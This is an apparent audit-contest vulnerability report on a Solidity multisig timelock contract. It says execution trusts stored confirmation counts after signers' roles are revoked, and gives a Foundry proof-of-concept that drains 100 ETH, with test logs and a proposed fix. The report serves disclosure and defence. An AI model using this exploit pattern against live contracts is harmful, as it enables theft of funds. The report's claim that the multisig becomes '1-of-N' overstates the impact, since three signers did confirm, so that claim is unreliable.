MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Stale Confirmation Attack

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: Transactions require 3 distinct SIGNING_ROLE holders to call confirmTransaction(), incrementing s_transactions[txnId].confirmations. Any signer can then call executeTransaction() after quorum + timelock if txn.confirmations >= 3.

  • The issue: executeTransaction() trusts the historical confirmations count without verifying current hasRole(SIGNING_ROLE, signer) status for those who confirmed. Owner can revoke signers post-confirmation, allowing execution with fewer active signers than required.​

    // MultiSigTimelock.sol L260-270 @> confirmTransaction() - stores confirmations permanently @>
    function confirmTransaction(uint256 txnId) internal {
    if (s_signatures[txnId][msg.sender]) revert MultiSigTimeLockUserAlreadySigned();
    s_signatures[txnId][msg.sender] = true; // @> No cleanup mechanism @>
    s_transactions[txnId].confirmations++; // @> Counter incremented permanently @>
    emit TransactionConfirmed(txnId, msg.sender);
    }
    ​
    // L303-320 @> executeTransaction() - trusts stale confirmations count @>
    function executeTransaction(uint256 txnId) internal {
    Transaction storage txn = s_transactions[txnId];
    if (txn.confirmations < REQUIRED_CONFIRMATIONS) // @> No revalidation of signer roles @>
    revert MultiSigTimelockInsufficientConfirmations(REQUIRED_CONFIRMATIONS, txn.confirmations);
    // ... proceeds to execution
    }

Risk

Likelihood:

  • Occurs when owner proposes transaction + gets 3 confirmations + revokes 2 signers before execution

  • Signers have legitimate access to confirm transactions during proposal phase

Impact:

  • 3-of-5 multisig reduced to 1-of-N execution capability after targeted role revocation​


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
​
contract StaleConfirmationAttackTest is Test {
MultiSigTimelock multiSigTimelock;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
address diana = makeAddr("diana");
address attacker = makeAddr("attacker");
​
function setUp() public {
vm.prank(owner);
multiSigTimelock = new MultiSigTimelock();
// Full 5 signers
vm.prank(owner);
multiSigTimelock.grantSigningRole(alice);
vm.prank(owner);
multiSigTimelock.grantSigningRole(bob);
vm.prank(owner);
multiSigTimelock.grantSigningRole(charlie);
vm.prank(owner);
multiSigTimelock.grantSigningRole(diana);
// Fund contract for execution
vm.deal(address(multiSigTimelock), 100 ether);
}
​
function testStaleConfirmationAttack() public {
bytes32 signingRole = multiSigTimelock.getSigningRole();
// ================= STEP 1: Malicious owner proposes drain =================
vm.prank(owner);
uint256 txnId = multiSigTimelock.proposeTransaction(attacker, 100 ether, "");
console2.log("STEP 1: Owner proposes 100 ETH drain to attacker, txnId:", txnId);
​
// ================= STEP 2: Get 3 confirmations =================
vm.prank(alice);
multiSigTimelock.confirmTransaction(txnId); // 1/3
vm.prank(bob);
multiSigTimelock.confirmTransaction(txnId); // 2/3
vm.prank(charlie);
multiSigTimelock.confirmTransaction(txnId); // 3/3
console2.log("STEP 2: Alice, Bob, Charlie confirm -> txn.confirmations = 3");
​
// ================= BEFORE ATTACK: Verify quorum met =================
assertEq(multiSigTimelock.getTransaction(txnId).confirmations, 3, "BEFORE: 3 confirmations recorded");
​
// ================= STEP 3: Owner revokes Alice + Bob post-confirmation =================
vm.prank(owner);
multiSigTimelock.revokeSigningRole(alice);
vm.prank(owner);
multiSigTimelock.revokeSigningRole(bob);
console2.log("STEP 3: Owner revokes Alice + Bob -> only Charlie + Diana + Owner remain");
​
// ================= STEP 4: Verify roles revoked =================
assertFalse(multiSigTimelock.hasRole(signingRole, alice), "Alice: role revoked");
assertFalse(multiSigTimelock.hasRole(signingRole, bob), "Bob: role revoked");
assertTrue(multiSigTimelock.hasRole(signingRole, charlie), "Charlie: role intact");
​
// ================= STEP 5: Fast-forward timelock (100 ETH = 7 days) =================
vm.warp(block.timestamp + 7 days + 1);
// ================= STEP 6: Charlie executes with STALE confirmations =================
uint256 attackerBefore = attacker.balance;
uint256 contractBefore = address(multiSigTimelock).balance;
vm.prank(charlie);
multiSigTimelock.executeTransaction(txnId);
// ================= PROOF: Attack succeeds =================
assertEq(address(multiSigTimelock).balance, contractBefore - 100 ether, "Contract: 100 ETH drained");
assertEq(attacker.balance, attackerBefore + 100 ether, "Attacker: receives 100 ETH");
console2.log("STEP 6: Charlie executes -> 100 ETH DRAINED despite only 1 active signer!");
console2.log(" PROOF: txn.confirmations=3 trusted, no role revalidation");
console2.log(" IMPACT: 3-of-5 -> effectively 1-of-N after targeted revocation");
}
}
​

RESULT:

forge test --match-test testStaleConfirmationAttack -vvv
[⠢] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/testStaleConfirmationAttack.sol:StaleConfirmationAttackTest
[PASS] testStaleConfirmationAttack() (gas: 350635)
Logs:
STEP 1: Owner proposes 100 ETH drain to attacker, txnId: 0
STEP 2: Alice, Bob, Charlie confirm -> txn.confirmations = 3
STEP 3: Owner revokes Alice + Bob -> only Charlie + Diana + Owner remain
STEP 6: Charlie executes -> 100 ETH DRAINED despite only 1 active signer!
PROOF: txn.confirmations=3 trusted, no role revalidation
IMPACT: 3-of-5 -> effectively 1-of-N after targeted revocation
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 808.16µs (189.57µs CPU time)
​
Ran 1 test suite in 6.90ms (808.16µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

Recommended Mitigation

Revalidates confirming signers' current role status at execution time - stale confirmations from revoked signers don't count.

// - remove this code
mapping(uint256 => mapping(address => bool)) private s_signatures;
mapping(uint256 => uint256) private s_confirmations; // Remove raw counter
​
// + add this code
mapping(uint256 => address[]) private s_confirmingSigners; // Track actual signers
​
function confirmTransaction(uint256 txnId) internal {
// ... existing checks ...
s_confirmingSigners[txnId].push(msg.sender); // Track who confirmed
emit TransactionConfirmed(txnId, msg.sender);
}
​
function executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
// Revalidate current active confirmations
uint256 validConfirmations = 0;
for (uint256 i = 0; i < s_confirmingSigners[txnId].length; i++) {
if (hasRole(SIGNING_ROLE, s_confirmingSigners[txnId][i])) {
validConfirmations++;
}
}
if (validConfirmations < REQUIRED_CONFIRMATIONS) {
revert MultiSigTimelockInsufficientConfirmations(REQUIRED_CONFIRMATIONS, validConfirmations);
}
// ... rest of execution
}
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!